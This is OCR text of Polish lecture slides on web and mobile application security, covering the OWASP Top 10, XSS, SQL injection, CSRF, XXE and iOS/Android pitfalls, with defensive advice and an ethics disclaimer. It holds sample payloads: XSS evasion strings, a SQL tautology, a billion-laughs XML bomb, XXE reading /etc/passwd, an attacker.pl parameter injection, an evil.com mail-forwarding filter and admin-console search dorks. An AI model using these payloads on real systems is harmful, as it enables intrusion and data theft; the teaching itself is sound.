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Kim jestem

< 10 lat doswiadczenia
< Principal Security Consultant w nSense Polska
2 Specjalnosc

= web aplikacje

= aplikacje mobilne

= protokoty sieciowe

= [Pv6

S Researcher

< Zadeklarowany Whitehat
> Absolwent PUT i PUE

o Cztonek ISSA / ISSA Polska
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Zakres wyktadu

2 Bezpieczenstwo aplikacji
< Wstep do bezpieczenstwa aplikacji web
= Protokdt HTTP
= OWASP TOP10
= Teoria / przyktady / sposoby wykorzystania
2 Wstep do bezpieczenstwa aplikacji mobilnych

= Porownanie modeli bezpieczenstwa iOS i Android
= Specyficzne sytuacje i mechanizmy
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Zakres wyktadu

2 Czesc zagadnien sie pokrywa
= HTTP jako kanat komunikacji
= Web Services

S Czasami wersja mobilna to jedynie interpreter
dla aplikacji web
= Przykitad ©
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Disclaimer

o Zawsze, bezwzglednie, wszelkie testy bezpieczenstwa
nalezy przeprowadzac za zgodq i wiedzg administratora
testowanego systemu.

< Inaczej...

< To bardzo wazne, czes¢ administratorow nie ma
poczucia humorul!

UNIA EUROPEJSKA
KAPITAL LUDZKI EUROPEJSKI
NARODOWA STRATEGIA SPOJNOSCI FUNDUSZ SPOLECZNY

Projekt wspotfinansowany przez Unie Europejska w ramach Europejskiego Funduszu Spotecznego



Bezpieczenstwo aplikacji

2 Im mniej sie dzieje po stronie klienta, tym lepiej
< Btedy logiczne
= Niemozliwe do automatycznego sprawdzenia

< Btedy techniczne
= Czasami skanery pomagajg
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Aplikacje web

< Protokot HTTP
= Bezstanowy
= HTTPS

2 Mnogos¢ platform
» ASP.NET, JSP, PHP, CGI

= Frameworki
= MVC
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HTTP

/friends/perform?param=true&id=1234 HTTP/1.1
Host: www.playmesh.com
User-Agent: Fishies/1.7 CFNetwork/485.2 Darwin/10.3.1
Content-Type: application/json; charset=UTF-8
Accept: application/json
Cookie: _playmesh_session=BAh7BzoPcAY6CkB1c2VkewY7B0Y%3D-- HTTP
8817b5b8b17dd58834ded126f2790ea8999fd122 -
Pragma: no-cache Headers
Connection: keep-alive
Proxy-Connection: keep-alive
Content-Length: 297

—

{"device_model":"iPhone","device_os":"4.0","game_name":"Fish","perform_type":"Ge
t","serial":"4f0d3997a6ae6del588b0645b0bfead2f9cabc88","aid":"36086$737", "trans
lation_version":"11/5/10 -
15:00","locale":"en","version":"1.7","locale_client_play":"09-22-10 8:45:0q HTTP POST
PM","game_version":"11/6/10 17:00"} (json)
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OWASP

2 0pen Web Application Security Project
2 Duza spotecznosc

> Zasoby

= Materiaty
= Narzedzia
= Biblioteki

* OWASP

WWW.owasp.org
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OWASP - Dokumenty

> OWASP TOP 10

> OWASP Testing Guide
> OWASP Coding Guide
> OWASP ASVS

= Application Security Verification Standard
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OWASP - Narzedzia

< OWASP ZAP
< OWASP WebScarab
< OWASP DirBuster

< OWASP WebGoat
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OWASP - Biblioteki

Custom Enterprise Web Application \

OWASP Enterprise Security API

HTTPUtilities
Encryptor
Randomizer

Authenticator
IntrusionDetector
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AccessReferenceMap
Validator
EncryptedProperties
Exception Handling
SecurityConfiguration
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OWASP TOP 10

S Al-Injection

> A2-Cross Site Scripting (XSS)

2 A3-Broken Authentication and Session Management
2 A4-Insecure Direct Object References

> A5-Cross Site Request Forgery (CSRF)

> A6-Security Misconfiguration

2 A7-Insecure Cryptographic Storage

> AS8-Failure to Restrict URL Access

< A9-Insufficient Transport Layer Protection

2 Al0-Unvalidated Redirects and Forwards
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Cross Site Scripting (XSS)

2 Trywialny? By¢ moze... ale nadal spotykamy XSS w 90%
aplikacji, ktore testujemy!
S <script>prompt(1l)</script> <- prosty test (dlaczego
prompt a nie alert?)
> Atakujacy wstrzykuje JavaScript/ HTML do przegladarki
ofiary
= Fatszywy formularz ptatnosci / logowanie
= Kradziez sesji / tozsamosci
= Nieautoryzowane akcje (CSRF)
= Przekierowanie na strony z malware

< Reflected vs. Stored XSS
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Cross Site Scripting (XSS)

Jak sie zabezpieczyc?
2 Walidacja wejscia (strong typing / format / dtugos¢)
2 Kodowanie wyjscia (zazwyczaj HTML-encoding)
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Cross Site Scripting (XSS)

Payload HTML response snippets When payload is printed

<script>alert(1)</script> <a Directly (freely) to the page,
href="/file.asp"><script>alert(1)</script></a | g tside any tags/attributes.
>

"> <script>alert(1)</script><!-- <a Inside an attribute value
href="/file.asp"><script>alert(1)</script><!--
"></a>
"onmouseover=alert(1)%20a=" <a Inside an attribute value,
!?ref="/ﬁIe.asp"onmouseover=alert(1)%20a=" where <> characters are
></a> . . .
stripped. (Filter evasion.)
;alert(1);// <script>var name="bob";alert(1);//"; </script> Inside a JavaScript code block.
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Injections

< To nie tylko SQL Injection!

SQL
Xpath

XML <- XML entity bombs (oméwimy je osobno)
LDAP

OS Command

2 Jest to najgrozniejsza klasa podatnosci
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Injections

Przykiad

SELECT * FROM users WHERE user="user' and
pass=md5(pass);

Moze sie stac:

SELECT * FROM users WHERE user='foo' or 1=1;--
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Injections

Nigdy nie polegaj na walidacji JavaScript
« Moze by¢ uzywana do wzbogacenia user experience
« Moze by¢ pominieta minimalnym wysitkiem
Uzywaj silnych typow
» Przechwytuj wyjatki z nimi zwigzane
Waliduj kazde wejscie
« Pola formularzy (tez te ukryte), parametry POST i GET
« Pola nagtowkow HTTP
 Ciasteczka
Waliduj wejscie wzgledem
 Typu
« Zakresu
 Dlugosci
« Formatu (silne wyrazenia regularne)
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Injections

< Wykrywanie?
2 Sproébuj doklei¢ apostrof (*)

Historik ~ Bogmerker  Funktioner Hieelp

2] I_ http: v R o/ def ault . asprid=3'

File Edit View History Bookmarks Tools Help
- 7y || httpss 221"
/1, Problem loading page T < O |}

Microsoft OLE DB Provider for ODBC Drivers error "80004008°
[Microsoft][ODBC driver for Oracle][Oracle] ORA-01756: streng 1 anfarselstegn er ikke korrekt af

| . i 3

Microsoft OLE DB Provider for ODBC Drivers error 80040e14’ r

[MySQL][ODBC 3.51 Driver][mysqgld-5.0.45-community-nt]You have an error in your SQL
syntax; check the manual that corresponds to your MySQL server version for the right syntax
to use near " AND tekstAktiv=1 ORDER BY tekstPrioritet’ at line 1

fdefault.asp, line 792 UNIA EUROPEJSKA [ENEAEN
B EUROPEJSKI * *
‘ NARODOWA STRATEGIA SPOJNOSCI FUNDUSZ SPOLECZNY B
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Injections

S OB IESrL T st mniral Lt sExecutes ey BsalGernk=SELEC T+terminal_id+AS+727 Terminal+10!
O , 1 Ittt ;;:,fr,}"‘ st T l'm ibbdasgmerint s : g

b

12 2010 09:30:41 AM CEST sm» A :“55 |;'1ff;;;f |
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Injections

Ochrona przed SQL injection
> Prepared statements

> Procedury skitadowane
S ORM

UNIA EUROPEJSKA
KAPITAL LUDZKI EUROPEJSKI
NARODOWA STRATEGIA SPOINOSCI FUNDUSZ SPOLECZNY

Projekt wspotfinansowany przez Unie Europejska w ramach Europejskiego Funduszu Spotecznego

*
*

* X %

* 5k

*
*
*

23



?NA‘L\‘"D —————

Injection - Spoofing

— | & hetp://www. ee/skin/frontend /default/;

' s/rotatebanner/preview. swﬂt- 1319204036000&menu-uue&sanle

QJ () Mo
=2 Forms + 0N images * i) Information * ) Miscellaneous + " Outline * |33 Resi

Doing it wrong
nSense

http://www.sample.com/skin/frontend/default/pf_xxx/rotatebanner
/previewswf?t=1319204036000&menu=true&scanle=NoScale&
wmode=opaque&allowfullscreen=true&allowScriptAccess=alway

s&componentWidth=743&componentHeight=500&pathToFiles=
http://attacker.pl/&xmlPath=flashrotatingbanner
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Insecure Direct Object Reference

Przewidywalny identyfikator zasobu, bez kontroli
dostepu...

< index.aspx?dir=pictures/

< intid = Integer.parselnt( request.getParameter(
,accountID" ) );

string query = "SELECT * FROM balances WHERE
accountID=" + id;
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Insecure Direct Object Reference

Zabezpieczenie

 Unikaj eksponowania wewnetrznych identyfikatorow
uzytkownikowi, uzywaj mapowania

« Rozwaz uzycie losowych GUID zamiast
identyfikatorow numerycznych, sekwencyjnych

« Zawsze sprawdzaj, czy uzytkownik ubiegajacy sie o
zasob, ma do tego prawo
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Insecure Direct Object Reference

<select name="whichCard">
<option value="11112222">11112222</option>

<option value="22223333">22223333</option>
<option value="33334444">33334444 < /option>

</select>

VS.

<select name="whichCard" >
<option value="1">1111222233334444 < /option>
<option value="2">2222333344445555 < /option>
<option value="3">3333444455556666 </option>

</select>
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Cross Site Request Forgery (CSRF)

2 Spojrzmy na ten przykiad
http://www.example.com/change_password.php?newPass=foo
&newPassRepeated=foo

> Remember me / Keep me logged in

> Rozwigzanie
= Wieloetapowe formularze
= Tokeny, OTP
= \Wymuszanie re-autentykacji przed autoryzacjg
= Tokeny anty-CSRF
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Cross Site Request Forgery (CSRF)

ASP.NET ViewState trick

void Page_Init (object sender, EventArgs e)

{

ViewStateUserKey = Session.SessionlD;
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nts  Photos  Groups Web more ¥ =1
| Search Mail || Search the yyeh | Showsesrch options
Create a filter
[ Archive ] [ Fepart Spam ] [ Delete ] More actions. | Refresh 1-50 o

Select: All, Mone, Read, Unread, Starred, Unstarred
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Skype
Digg.com

Jed Yazzie
PHP Classes
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SPI Dynamics
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Newsvine Adm
sturmbleUpon
PHP Classes
PHP Classes
Wink Team
PHP Classes
Wink Team
Wink Team
blinklist-active-members
StumbleUpon

PHP Classes
blinklist-active-members
news2007 -august
StumbleUpon

[FHP Classes] PHP Classes: Weekly newsletter of Sunday - 2007-09-23 - PHF Clazses: Weekly newsletter of Sunday -
Skype - download successful. What next? - See this email as a webpage: http:Awaw skype comfemail/download cor
New Digg Profiles and Updated Site Policies - Lats of new changes coming to Digg! We're excited to introduce you t

Iztegli liubimite si filmi bezplatno= =diathesis stasis octahe... - Filmi: 1. Fush Hour 3 (20077 2. Tra

g ook |y neweslatter of Sunda
«oo - ErMNET Ha BGTRALK]
LA Mews Webinar, HP C
book review: PHF Progrs
ehbinar. HF Customer Per:
TewEving column. Ye

Your StumbleUpon Password - Here is your StumblelUpon password: Userid: 3578301 Mickname: passfree Email: passire
[PHF Classes] Innovation Award results of August of 2007 - [nnovation Award results of August of 2007 PHFP Abstract
[PHP Classes] 13 rules to optimize your Web site performance - 13 rules to optimize your YWeb site performance FH
Edwin Seaver would like to be added as your friend - Edwin Seaver (jvyyuie) would like to be added as one of your f
[PHP Classes] PHP Classes: Weekly newsletter of Sunday - 2007 08-26 - FHF Classes: Weekly newsletter of Sunda
Password recovery complete - Hello, Pass Freel Someone from 217.44.135.91 (prabably you) requested a password re
Wink Password Recovery - Follow this link to reset your password: hitp:dwink, comiaccount/recover/?ticket=306c9fdealb
Please Help to Make BlinkList Incredible - Tip 5 - Hey passfree, Do vou want to know what makes ElinkList incredibl
Make the most out of StumbleUpon - StumblelUpon Discover new web sites Hi passfree, YWant to get the most out of S
[PHF Classes] PHP Classes: Weekly newsletter of Sunday - 2007 08-19 - PHF Classes: Weekly newsletter of Sunda
Turn BlinkList Into Your Onramp to the Met - Tip 4 - Hey passfree, Today | am going to share my absolute favarite tip
Altova Developer Connection Newsletter August 2007 - |n this month's issue: = Case Study — Altova Authentic RS
Get to know StumbleUpon! - Stumblelpon Discover new weh sites Hi passfree, Mow that you've tried Stumbling, the .



Bookmarks Tools Help
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Bookmarks Tools Help

L/l} |I™1 https:imail.google.com/mailj7auth=DQAAAIWAAAAG_Y_qWETH4TowS7KSPKelpkaYCunLDja 1RYyFDOERpdEFtOybESaZWakhe2zzbXyv38PoEO0p 1)) \3 v B | @' :

nts Photos Groups YvWeb more

| Search Mail | | Search the yep | Shewsearch options
Create a filter

Your filter was created. Learn more

Settings
General Accounts Labels Filters Forwarding and POP Chat Web Clips

The following filters are applied to all incoming mail:

Matches: has:attachment
Do this: Forward to collect@evil.com

@2007 Google - Terms of Use - Privacy Policy - Program Policies - Google Home




Broken authentication and session
management

> Sesja
= Ciasteczka
= Logout
= Timeout
= IDw URL
= Losowosc¢ ID
= Session fixation
< Logowanie
= Remember me
= Zapomniane hasto
= Blokowanie konta
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Insecure communication

Gl ®  This Connection is Untrusted

You have asked Firefox to connect securely to mail.google.com, but we can't confirm that your
connection is secure.

Mormally, when you try to connect securely, sites will present trusted identification to prove that you
are going to the right place. However, this site's identity can't be verified,

What Should I Do?

If you usually connect to this site without problems, this error could mean that somecne is trying to
imperscnate the site, and you shouldn't continue,

l Get me out of here! ‘

Technical Details

I Understand the Risks
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Insecure communication

2 Czy zawsze wymuszany jest SSL dla zalogowanego
uzytkownika?

2 Czy ciastko sesyjne ma flage ,Secure”?

> Szyfrowanie
= Certyfikat
= Dozwolone protokoty
= Dozwolone szyfry
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Insecure communication

¥ Mozilla Firefox ;lilil

Filer Rediger Wis Historik Bogmasrker  Funkkioner  Hiselp

I'-s.-i.l—--—lv c x o7 ||j |http:,l',l'assessment.netacad.net,l'virtunso,l'deIivery,l'pub-doc,l'exam_result.shtmI?SESSION_ID=

R_ID=6 77 - |-|Gnngle £
&t RIPE . £ m @ |j ET = = |j HacmeBank |j HacmeCasing EHacmeBooks |j Translate |j RFIDIOL # Karmetasploit - Metas... EPacketstorm »
| ) Google Reader {32} (E3] ] ﬁ Academy Connection (€3] ] |j http://assessm...ER_ID=64879360(3 I |T
Close wiindow
af]n

Cisco

Exam Results

Exam Results - Module 2 Exam - CCNP: Optimizing Converged Networks - Version 5.0

Date Exam was Taken: 19/11/2008

Domain Knowledge - Weighted Score

Max Points: 45
Earned Points: 26
Percentage: a87.8%

Domain Knowledge - Binary Score
Max Points: 20
Earned Points: T
Percentage: 35.0%
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> Case: DES (56bit) ——
2 Sprébuj zrozumieé co robisz! ik N

2 56 bit = 7 znakow ASCII

AL
: 5= ‘
e i i
s

B
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Faillure to restrict URL access

Przykitady — help us Google!
< inurl:/sitecore/login intitle:sitecore

< inurl:/Admin/ Dynamicweb DWSDownload
< inurl:/Umbraco/ intitle:login

< Prewencja?
= Kontrola dostepu
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Faillure to restrict URL access

JBoss Administration Interface

 inurl:"8080/web-console/" Administration Console

* inurl:"8080/jmx-console/" intitle:"JBoss JMX Management
Console”

/7 administration Console - Windows Internet Explorer

—

&) T Ié http:/fconnect.garmin.comjweb-console/ LI *4 || X | |Google
N e - -
W d @ Administration Console | I S R
o®® &
' JBOSS JBoss Management Console O
9 )
t
3 % Monitoring UPdate tree - :
Q Force update tree
o- ¢t a JZEE Don = ‘
o4 Shutdown JBoss instance
o- @ AQP Shutdown and Restart JBoss instance —
: _JBoss™ Application Server
HALT and Restart JBoss instance
o- System
JBoss
Version Environment
Version: 4.2.1.GA (build: SVNTag=JBoss_4_2_1_GA | Start date: Sat Apr 25 16:27:55
date=200707131606) Host: mb10 (192.168.10.55)
Version Name: Trinity Base Location: file:/usr/local/jbo
Built on: July 13 2007 4.2.1.GA/server/
Bascsm 1 asabenm el /ii=rfiar=al/




Unvalidated redirects

2 Atakujacy moze przekierowac ofiare na dowolng strone
= Phishing
= Malware
2 Rozwigzanie
= Mapowanie
= Walidacja (domeny, etc.)

http://www.securityorganisation.org/ 2e
=xxx@nsense.net&job=858688&ymlink=199
222&finalurl=http%3A%2F%?2Fgoogle.com
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Unikanie podatnosci

Nie ma uniwersalnej metody, ale...
2 Trzy sposoby pozwalaja na unikniecie 95% podatnosci:

v' Walidacja wejscia
v Kodowanie (encoding) wyjscia

v' Kontrola dostepu
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Web Services

2 CzescC zagrozen jest taka sama

> Czesto pominiete przy zabezpieczaniu
= Autoryzacja / autentykacja
= SSL

® Czesc zagrozen taka sama
= Injections

> Nowe zagrozenia

= XML
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Ataki XML

< External entities
< XML Bombs
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XML bomb - loop

<?xml version="1.0"?>

<IDOCTYPE lolz |
<IENTITY loll "&lol2;" >
<IENTITY lol2 "&lol1;" >

1>

<lolz>&loll:</lolz>
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XML bomb

<?xml version="1.0"?>
<IDOCTYPE lolz [
<IENTITY lol "lol">
<IENTITY lol2 "&lol:&lol:&lol:&lol:&lol:&lol: &lol:&lol: &lol: &lol:" >

<IENTITY lol3 "&lol2:&lol2;:&lol2:&lol2:&lol2;:&lol2;&lol2;&lol2; &lol2; &lol2;"
<IENTITY lol4 "&lol3;:&lol3;&l0l3:&l0l3:&l0ol3:&lol3:&lol3;:&lol3;&lol3; &lol3;"

<IENTITY lol8 "&lol7:&lol7;:&lol7:&lol7:&lol7:&lol7:&lol7;&lol7;:&lol7;:&lol7;"
<IENTITY lol9 "&lol8;&l0l18:;&10l18:&l0l8;&l0l8;&l0l8;&lol8:&l0l8:&l0l8: &l0l8;"

1>

<lolz>&lol9;</lolz>

~3 GB
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XML — exnternal entity

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE request [
<IENTITY include SYSTEM “/dev/urandom"”>

1>
<request>
<description>&include;</description>
</request>
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XML — exnternal entity

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE request [
<IENTITY include SYSTEM "/etc/passwd" >

1>
<request>
<description>&include;</description>
</request>
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XML — exnternal entity

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE request [
<IENTITY include SYSTEM "http://localhost:99" >

1>
<request>
<description>&include;</description>
</request>
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HPP

< HTTP Parameter Pollution

http://sample.net/?y=<scri&y=pt>&y=alert(1)&y=</sc&y=ript>
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ClickJacking

S Warstwy stylow pozwalaja utworzy¢ niewidoczng
warstwe z linkiem...

> http://last.epicvidz.com/v5/vidz+12891.php?id=6
[ ClearClick Warning - -

@ Potential Clickjacking / UI Redressing Attempt!

MoScript intercepted a mouse or keyboard interaction with a
partially hidden elerment. Click on the image below to cycle
between the cbstructed and the clear version.

T lj 10,619 people like this. Be
a I..-:t » -

https:/fwww.facebook.co...w_faces=falseBiwidth=225
Keep this elerment locked (recommended)

' ClearClick protection on pages... untrusted trusted
l oK ] | Beport | | More Info
I L —
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Btedy logiczne

Varenummer  Beskrivelse Antal Belab
i 50045 Princess - var. 302 (Kwvadrat) 5 4.959,00 DK
i 30050 Jaguar - var. 1013505 (MNewvotex) -15 -3.105,00 DEK
Fragt 70,00 DKK
I alt 1.924,00 DKK
Heraf moms (25%) 481,00 DKK
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WAF

> Web Application Firewall
= To taki IPS/IDS, ale na poziomie protokotu HTTP
= Bazuje na regutach i sygnaturach
= Jak antywirus
= Zatrzyma najbardziej oczywiste ataki

= Dobrze miec cos takiego w racku, ale nie moze to by¢ wymowka
dla nie zabezpieczenia aplikacji

Barracuda Web Application Firewall (przyktadowe urzadzenie)
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Aplikacje mobilne

2 Urzadzenie faczy sie z roznymi sieciami (wifi, 3G,...)
< Posiada opcje geo-lokalizagji

> Czesto bywa przedmiotem kradziezy

< Urzadzenie moze zosta¢ poddane ,jailbreak”

2 Bezpieczenstwo aplikacji mobilnych jest zazwyczaj na
zatosnym poziomie, nawet od renomowanych
producentow... dlaczego?

= Przeciez smartfony to w petni funkcjonalne komputery!
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Aplikacje mobilne

2 WIiOS kodujemy w Obj-C (kompatybilny z ANSI C)
= Powraca cafa klasa podatnosci zwigzanych z jezykiem C
2 W Android jest Dalvik, VM a’la Java

= Pakiety Dalvik moga by¢ przekonwertowane do JAR, a potem
zdekompilowane do kodu zZrédtowego
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Sandboxing

2 Wszystkie platformy probuja to robic
< Dziata, dopoki nie zrobimy jailbreak
<2 IPC pozwala wyjs¢ poza sandbox

< Karty SD (Android)
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Apple i10S — Case study

1. Instalacja do przechwytywania ruchu wifi z telefonu

2. Przechwytywanie SSL / HTTP

3. Kalendarz w telefonie byt zsynchronizowany z Gmail

4. Zapytanie z telefonu pojawia sie na proxy
przechwytujgcym, zawierajgce mojg nazwe uzytkownika i
hasto jako HTTP Basic Authentication header (jedynie
zakodowane w Base64)

5. Nie jest wymagana zadna interakcja uzytkownika, zeby
przechwycic ruch i hasto (sprawdzone w boju ©)
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T

= iPhone iTunes

E About the security content of i0OS 5 Software Update

Summary Products Affected

This document describes the security content of i0% 5 Product Security, iPad, iPhone, iPod touch
Software Update, which can be downloaded and installed
using iTunes.

For the protection of our customers, Apple does not
...mare

105 5 Software Update
= CalDAV

.3

Available for: 105% 3.0 through 4.3.5 for iPhone 3G5% and iPhone 4, 105 3.1 through 4.3.5 for iPod touch (3rd
generation) and later, 10% 3.2 through 4.3.5 for iPad

Impact: An attacker with a privileged network position may intercept user credentials or other sensitive -
information from a CalDAV calendar server

Description: CalDAV did not check that the 55L certificate presented by the server was trusted.

CVE-ID

CWVE-2011-3253 : Leszek Tasiemski of nSense




Ogolne zasady

> Cache i przechowywanie
< Informacje o lokalizacji

< Akceptacja certyfikatow SSL
= CN
= Podpis
» CRL
= Daty waznosci
S IPC

2 Logowanie (bteddw)
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Case study

S Odkrycie z ZESZLEGO TYGODNIA
2 Aplikacja mobilna — bardzo duza firma

https://emea.secureapp.com/servicesl/datal/v25.1/query/?q
=select%20Count%28%29%20from%20ContentDocume
nt%20where®20%280wnerId%3D%2700750000001xbc
0AAA%27%29

> SQL injection!!!
S SSLIN

> W tej chwili koordynowane...
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Android

< Dobra rzecz: kazda aplikacja ma UID:GID
= Separacja przywilejow
= Nie jest to typowy sandbox
2 Najweksza roznica wzgledem iOS: aplikacje mogq by¢
self-signed
= Nie ma pojedynczego CA dla wszystkich aplikacji
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Android

»23 out of the top 500 apps from Google
Play Store are high risk because of malware”

http://www.searchgi.com/article/frightening-malware-statistics-on-google-apps
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Android

< fos = openFileOutput(, PrivateKey",
Context.MODE_WORLD_READABLE),

> Karty SD czesto uzywajq VFAT FS, brak kontroli dostepu
< Unikaj przechowywania danych na karcie pamieci
= File myFile = new File("/sdcard/mysdfile.txt");
2 Nadpisuj dane przy usuwaniu (wipe)
> WebView
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Android

S Manifest This application has access to the
followin
= IPC Wing

= = A Your location
= Uprawnienia %
A Network communication

A Your personal Information
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10S

2 i0S jest portem MacOSX na ARM CPU
> Native code

2 Uzywaj Keychain do przechowywania wrazliwych
informacji

2 Komponenty na ktore trzeba uwazac:
= UIWebView - w praktyce — przeglgdarka www w komponencie
e XSS (JavaScript + HTML)
e Renderuje wiele formatow (bez pytania)
o Wykrywa numery telefondw i przeksztatca w ,callable" URLs
= UIImage — podobne do UIWebView
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10S

http://www.dhanjani.com/iphone-safari-ui-spoofing/

9:19 PM : Carier = 9:12 PM
Logit Bank iPhone Ul Spoafing Demo

LEGIT BANK

Account number

LEGIT BANK

Password

Account number

Password
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10S

> Przepetnienia
= Trzymaj sie skiadni i funkcji Obj-C
o Te tez sg podatne na niektdre przepetnienia (format string)
e Funkcje NS...
e Specyficzny atak: nie %n, ale %@
= Uwaga na:
o printf / sprintf / fprintf
< NSFileManager
= Uwaga na directory traversal (../../)
< NSXML parser
= Domyslnie rozwigzuje DTD (XML bombs)
= Nie rozwigzuje zewnetrznych entities (dobrze!)

NARODOWA STRATEGIA SPOINOSCI FUNDUSZ SPOLECZNY

UNIA EUROPEJSKA
E KAPITAL LUDZKI EUROPEJSKI

Projekt wspotfinansowany przez Unie Europejska w ramach Europejskiego Funduszu Spotecznego

67



Podsumowanie

< Nie wolno lekcewazy¢ platform mobilnych
<, Trywialne” podatnosci sg bardzo czeste
< SSL to nie wszystko

< Framework nie rozwigze magicznie wszystkich
problemow

> Wiedza hakerska jest niebezpieczna — ETYKA!
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Pytania
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Wiece]j informacji

« http://owasp.org/

« http://sans.org/

« http://isc.sans.org/

« http://csrc.nist.gov/publications/PubsSPs.html

« https://www.pcisecuritystandards.org/

« http://www.theregister.co.uk/security/

« http://www.coesecurity.com/services/resources.asp

« http://msdn.microsoft.com/en-us/library/ms998408.aspx
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